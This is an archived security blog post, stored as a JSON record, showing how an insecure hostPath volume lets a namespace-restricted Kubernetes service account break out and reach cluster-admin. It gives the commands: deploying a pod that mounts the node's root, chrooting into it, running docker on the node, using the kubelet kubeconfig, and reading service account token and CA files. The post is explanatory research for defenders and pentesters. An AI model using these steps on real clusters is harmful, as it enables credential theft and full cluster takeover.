{
	"id": "8c3281ad-150a-4f26-8d40-bcb676ffa991",
	"created_at": "2026-04-06T00:08:34.780995Z",
	"updated_at": "2026-04-10T13:13:04.265098Z",
	"deleted_at": null,
	"sha1_hash": "6b5279f9d873b77f8b9c9b19838e100ea1645663",
	"title": "Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 292266,
	"plain_text": "Kubernetes Namespace Breakout using Insecure Host Path Volume\r\n— Part 1\r\nBy Abhisek Datta\r\nPublished: 2020-03-18 · Archived: 2026-04-05 18:00:26 UTC\r\nThis is Part 1 of a 2 part series on security implications of insecure hostPath volume mount in Kubernetes and\r\nhow it can be abused for full cluster compromise.\r\nPart 2 deals with the mitigation\r\nIn this article we will demonstrate a technique leveraging different components of Kubernetes to break-out from\r\nNamespace based restrictions enforced on a user using RBAC. Specifically the scenario involves\r\n1. Attacker has access to execute commands in a container in a Pod — This is very common, when an\r\nattacker has managed to compromise any one application hosted in a cluster\r\n2. The Pod service account allows CRUD operations on Pod resource but within a single namespace only —\r\nThis means the attacker in the Pod can create new Pods but within a specific namespace only. This is\r\ncommon for developer service accounts that are restricted to their team’s namespace.\r\nGiven this scenario, we will demonstrate techniques using which it is possible to abuse hostPath volume mounts\r\nfor a Pod to escape the namespace constraints and gain access to Pods in any other namespace. This ability can in\r\nturn be leveraged to eventually gain maximum privilege in the cluster i.e. Cluster Admin.\r\nAbusing hostPath volume mounts for a Pod namespace escape Video\r\nhttps://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216\r\nPage 1 of 5\n\nVideo demo available at — https://asciinema.org/a/O5BJhisLohs9hP9E8ic5IyUDv\r\nVulnerable Environment Setup\r\nDeploy a Kubernetes cluster locally or in any cloud platform\r\nCreate a service account with RoleBinding that allows CRUD on Pod but within developers Namespace\r\nonly — Example YAML (sa.yml) that we used in our example below\r\nObtain kubeconfig for the service account — Example script (sa-to-kubeconfig.sh) that we used in our\r\nexample below\r\n# Create service account with role bindings\r\nkubectl apply -f sa.yml# Create kubeconfig for service account\r\n./sa-to-kubeconfig.sh \u003e /tmp/research/developer-kubeconfig\r\nThe config above creates a Namespace developers , a Service Account developer-sa and binds Role to allow\r\nCRUD on Pod resource to developer-sa but restricted only to the developers Namespace.\r\nAttacker Starting Point\r\nAs attacker in the scenario, we will start by having access to the cluster using the kubeconfig generated for\r\ndeveloper-sa above. This is equivalent to having access to any container in a Pod with the service account\r\nattached to it.\r\nGet Abhisek Datta’s stories in your inbox\r\nJoin Medium for free to get updates from this writer.\r\nRemember me for faster sign in\r\nThe commands below demonstrate how we setup our environment to use developer-sa and verified that we\r\nhave limited access to developers namespace.\r\nhttps://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216\r\nPage 2 of 5\n\n# Use the kubeconfig for developer service account\r\nexport KUBECONFIG=developer-kubeconfig# Check if we can create Pod in default namespace\r\nkubectl auth can-i create pod\r\nno# Check if we can list secrets in kube-system\r\nkubectl get secrets -n kube-systemError from server (Forbidden): secrets is forbidden: User \"system:s\r\nkubectl auth can-i create pod --namespace developers\r\nyes\r\nOur objective is to breakout of this namespace restriction and gain access to containers in Pods assigned to kube-system namespace.\r\nNamespace Escape Steps\r\nWe will use hostPath volume feature of Kubernetes to deploy a Pod in developers namespace but with the\r\nunderlying Node’s / (root filesystem) mounted inside our Pod at /host. We will also use additional features of Pod\r\nsuch as hostIPC, hostPID, hostNetwork to allow us access to all processes in the underlying Node. Our PodSpec\r\n(pod-to-node.yml) that we use in the exampe below is available here.\r\nkubectl apply -f pod-to-node.yml -n developers\r\n\u003e pod/attacker-pod created\r\nWe then exec into this newly created Pod and chroot our process to the Node’s root filesystem accessible to us in\r\n/host directory due to hostPath volume mount.\r\nkubectl -n developers exec -it attacker-pod bash\r\nroot@pool-qt7kkl8wt-zn6c:/#root@pool-qt7kkl8wt-zn6c:/# echo \"We are inside attacker Pod: $(uname -n)\r\nAt this point we can access all Docker Containers running in the node irrespective of which Pod or Namespace\r\nthey belong to.\r\nroot@pool-qt7kkl8wt-zn6c:/# docker psCONTAINER ID IMAGE\r\n622b9f408fde ubuntu \"/bin/sh -c 'sleep i…\" 8 minutes\r\ne329436b98dc k8s.gcr.io/pause:3.1 \"/pause\" 8 minutes a\r\n15cd09d41f2e 19adb8dca61e \"cilium-agent --kvst…\" 28 minutes\r\nThis is because\r\n1. We have used chroot to change the Root Directory of our process to that of Node’s Root Directory\r\n2. Now all PATHS in the Node matches our PATH setting and accessible to our process\r\n3. We can access the docker binary and docker socket available in the Node’s filesystem as if we are logged in\r\ndirectly to the Node.\r\nhttps://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216\r\nPage 3 of 5\n\nThe implication is we can use docker exec to run commands inside any container running in the Node\r\nirrespective of which Namespace they belong to. In addition to this, we can use nodeName or nodeSelector in\r\nPodSpec to schedule our Pod to any Node of our choosing, thereby gain access to ANY container in ANY Pod\r\nrunning in the entire cluster.\r\nPrivilege Escalation\r\nWe have gained an attack primitive where we can deploy a Pod, which is scheduled in arbitrary Node by\r\nKubernetes. Through the Pod, we are able to access the Node’s Docker daemon and in turn have full access to any\r\ncontainer running on the Node.\r\nOnce we have access to Kubelet configuration in a Node, we can leverage its kubeconfig to list ALL\r\nnodes in the cluster.\r\nroot@pool-qt7kkl8wt-zn6c:/# kubectl \\\r\n--kubeconfig=/etc/kubernetes/kubelet.kubeconfig get nodes -o wide\r\nThis lists all Node in the cluster\r\nNAME STATUS ROLES AGE VERSION INTERNAL-IP EXTERNAL-IP OS-IMAGE\r\npool-qt7kkl8wt-zn67 Ready \u003cnone\u003e 162m v1.16.6 10.139.116.89 134.209.147.81 Debian GNU/\r\npool-qt7kkl8wt-zn6c Ready \u003cnone\u003e 162m v1.16.6 10.139.116.34 134.209.147.24 Debian GNU/\r\nWe can use the same config to list ALL Pods in the cluster\r\nroot@pool-qt7kkl8wt-zn6c:/# kubectl \\\r\n--kubeconfig=/etc/kubernetes/kubelet.kubeconfig get pods -A\r\nThis lists all Pods in the cluster\r\nNAMESPACE NAME READY STATUS RESTARTS AGE\r\ndevelopers attacker-pod 1/1 Running 0 113m\r\nkube-system cilium-c29np 1/1 Running 0 164m\r\nkube-system cilium-operator-cdd855d45-x7mxk 0/1 CrashLoopBackOff 43 166m\r\nkube-system cilium-tsm2z 1/1 Running 0 164m\r\nkube-system coredns-84c79f5fb4-67lbh 1/1 Running 0 166m\r\n[...]\r\nAt this point, we just have to look for a Pod with a privileged token (Service Account) and deploy our Attacker-Pod in the same Node as the target Pod. This can be easily achieved by combining above information about\r\nNodes, Pods and using nodeSelector PodSpec.\r\nThrough our Attacker-Pod deployed in the same Node as a privileged Pod (ideally a Pod with a Service Account\r\nthat has Cluster-Admin Role attached), we can access the Service Account Token available in the Pod and access\r\nhttps://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216\r\nPage 4 of 5\n\nthe cluster with its privileges.\r\n# Get service account token\r\ncat /var/run/secrets/kubernetes.io/serviceaccount/token# Get cluster CA certificate\r\ncat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt\r\nThe above information can be used, along with cluster-info to generate a kubeconfig using which an\r\nattacker can interact with the API server. Refer to our script for generating kubeconfig\r\nMitigation\r\nWe will discuss cluster wide strategy to mitigate this issue in part two of this series. We will dig deeper into\r\nKubernetes PodSecurityPolicies and how it can be used to restrict insecure volume mounts.\r\nAt Appsecco we provide advice, testing and training around software, infra, web and mobile apps, especially that\r\nare cloud hosted. We specialise in auditing Kubernetes clusters as per the CIS Benchmark to create a picture of\r\nthe current state of security. If you are confident about the security of your cluster get assurance for withstanding\r\nreal world attackers by getting us to do a black box pentest.\r\nWe run a hands-on training course “Attacking and Auditing Kubernetes Clusters” for cluster operators and\r\npentesters.\r\nDrop us an email, contact@appsecco.com if you would like us to assess the security of your K8S infrastructure or\r\nif you would like your security team trained in advanced pentesting techniques against K8S.\r\nhttps://appsecco.com\r\nSource: https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216\r\nhttps://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216\r\nPage 5 of 5",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216"
	],
	"report_names": [
		"kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216"
	],
	"threat_actors": [],
	"ts_created_at": 1775434114,
	"ts_updated_at": 1775826784,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/6b5279f9d873b77f8b9c9b19838e100ea1645663.pdf",
		"text": "https://archive.orkl.eu/6b5279f9d873b77f8b9c9b19838e100ea1645663.txt",
		"img": "https://archive.orkl.eu/6b5279f9d873b77f8b9c9b19838e100ea1645663.jpg"
	}
}